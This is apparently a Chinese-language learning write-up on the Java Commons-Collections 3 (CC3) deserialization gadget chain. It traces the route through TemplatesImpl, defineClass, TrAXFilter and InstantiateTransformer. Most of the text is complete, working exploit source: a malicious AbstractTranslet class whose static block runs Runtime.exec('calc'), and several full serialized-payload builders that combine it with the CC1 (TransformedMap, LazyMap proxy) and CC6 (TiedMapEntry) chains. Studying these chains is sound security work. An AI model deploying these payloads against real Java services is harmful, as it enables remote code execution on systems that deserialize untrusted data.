Java_Commons-Collections 3 (CC3) 学习过程
Java_Commons-Collections 3 学习过程
原本的 CC1 链与 CC6 链是通过 Runtime.exec()
进行命令执行的。而很多时候服务器的代码当中的黑名单会选择禁用 Runtime
而 CC3 则是通过动态加载类加载机制来实现自动执行恶意类代码的。
环境配置
jdk8u65
Commons-Collections 3.2.1
前置知识
CC3主要运用到的就是类的动态加载知识,可以说就是把CC1和CC6后面执行命令那一块换掉
这次利用 ClassLoader#defineClass 直接加载字节码的手段。
关于类的动态加载这位师傅写的很详细了 Java反序列化基础篇-05-类的动态加载
这里就把主要利用的defineClass
再拿出来一下
主要的调用流程就是
A(ClassLoader#loadclass)->B(ClassLoader#findClass)->C(ClassLoader#defineClass)
这里我们可以正向看,首先是 loadClass()
,它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()
。
对于 findClass()
方法
根据名称或位置(本地文件系统、jar 包或远程 http 服务器上读取字节码)加载 .class 字节码,然后使用 defineClass,代码实例如下。
通常由子类去实现
defineClass()
的作用是处理前面传入的字节码,将其处理成真正的 Java 类。
此时的 defineClass()
方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance()
的实例化。CC3中就会构造出defineClass加载的恶意类的字节码进行初始化的一个过程
name
为类名,b
为字节码数组,off
为偏移量,len
为字节码数组的长度。
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass()
方法进行字节码的加载,然后实例化之后执行命令
编写个小demo试试
package CC3;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\CalcTest.class")); // 字节码的数组
Class c = (Class) method.invoke(classLoader, "CalcTest", code, 0, code.length);
c.newInstance();//初始化类
}
}
恶意类代码是这个
import java.io.IOException;
public class CalcTest {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
编译一下(不要用太高版本的java编译)
梳理链子
TemplatesImpl类
可以看到defineClass是protected型的我们需要找到public的类来利用
通过查找方法可以找到TemplatesImpl类
defineClass
这里的defineClass没有标明方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages
defineTransletClasses
这个defineTransletClasses类调用了
但是作用域是private还要继续找
找到三个在发现最后一个很符合的我们的要求
getTransletInstance()
还是同一个类下的 getTransletInstance()
方法调用了 defineTransletClasses()
方法,并且这里有一个 newInstance()
实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以需要继续找。
一点疑惑
在这里好奇了很久这个_class[_transletIndex].newInstance()
是在实例化谁初始化什么,其实在后面链子写完或者直接打个断点,看defineTransletClasses()是在处理什么的时候就可以知道,这里是在对definClass加载器加载我们构造的恶意类字节码后(这个时候只是进行类的加载没有执行),在这里进行类的实例化后才能执行
可以看到就是在将恶意类的字节码转换为类存储在数组中
newTransformer
继续找到newTransformer()是public
构造EXP
路线就是这样现在就是满足里面内置的条件来让链子通顺
解决条件问题
从后往前看
这里按照我们的需求需要让_name != null
而_class == null
_bytecodes
不能为null(肯定不为null因为这是我们传进来的恶意类的字节码),_tfactory
调用方法了也不能为null
下面是这个类这些属性的定义
其中大部分属性什么null和不null的反射改一下就好比如随便给_name
反射赋个值就好
主要是_bytecodes
和_tfactory
_bytecodes
可以看到_bytecodes
被定义为二维数组了但是我们最后defineClass
方法的值是一个一维数组
注:恶意类的编辑直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码。在结尾处解释一下
所以就可以这样
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
_tfactory
_tfactory
的值在 TemplatesImpl
这一类中被定义如下,关键字是 transient
,这就导致了这个变量在序列化之后无法被访问。
所以这里直接修改是不行的,但是好在我们这里对它的要求不高,ctrl+左键就定位到它在readObject中的定义了
可以看到在反序列化的时候是会给这个参数赋值的
但是我们这里要使用这个参数
所以我们这里可以通过反射随便给它赋值,因为无论我们赋什么值,这里在反序列化的时候的值是不会改变的
然后我们这里为了方便直接赋值new TransformerFactoryImpl
,因为我们利用链到这里还不会进行反序列化,所以我们这里先赋值给它。
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
到这就可以写出我们以为满足全部条件的理想Exp了
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\CalcTest.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
tnnd为什么不弹
空指针报错
看看422行
418 行,判断在 defineClass()
方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET
这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET
这个父类。
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Calc extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
(用低版本java我是用java8好像才能编译整不明白,或许就是版本不匹配的原因)
与CC1和CC6链子的结合
TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。
就是改变了下执行我们想要的目的的路线
所以就将Runtime那点换掉就行
CC1
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1TemplatesImplExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
map.put("value","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class LazyMapCC1TempExp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建第一个来触发LazyMap.get
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
//给它设置动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1);
//用来触发invoke
InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC6
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6TempExp {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("suibian"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
HashMap finHash = new HashMap<>();
finHash.put(tiedMapEntry,"nbc2");
hashMap.remove("nbc1");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(finHash);
unserialize("ser6.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC3链子的继续分析
因为只需要调用 TemplatesImpl
类的 newTransformer()
方法,便可以进行命令执行,所以我们去到 newTransformer()
方法下查找用法
找到了一个合适的类TrAXFilter
我们只需要这个类的构造函数就能达到我们想要的目的,但是这个类没法被序列化
CC3 这里的作者调用了一个新的类 InstantiateTransformer
。
InstantiateTransformer
这个类是用来初始化 Transformer
的,我们去找 InstantiateTransformer
类下的 transform
方法,完美契合我们的需求
只要Class不为空就会获取其指定的构造器并且调用构造函数
Exp
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}
然后就是老样子找入口类从transform
开始,听起来就能用CC1和CC6
CC1Exp
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1Exp {
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC6Exp
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
// 用 CC6 链的前半部分链子
public class CC6Exp {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nbc");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "nbc2");
lazyMap.remove("nbc1");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}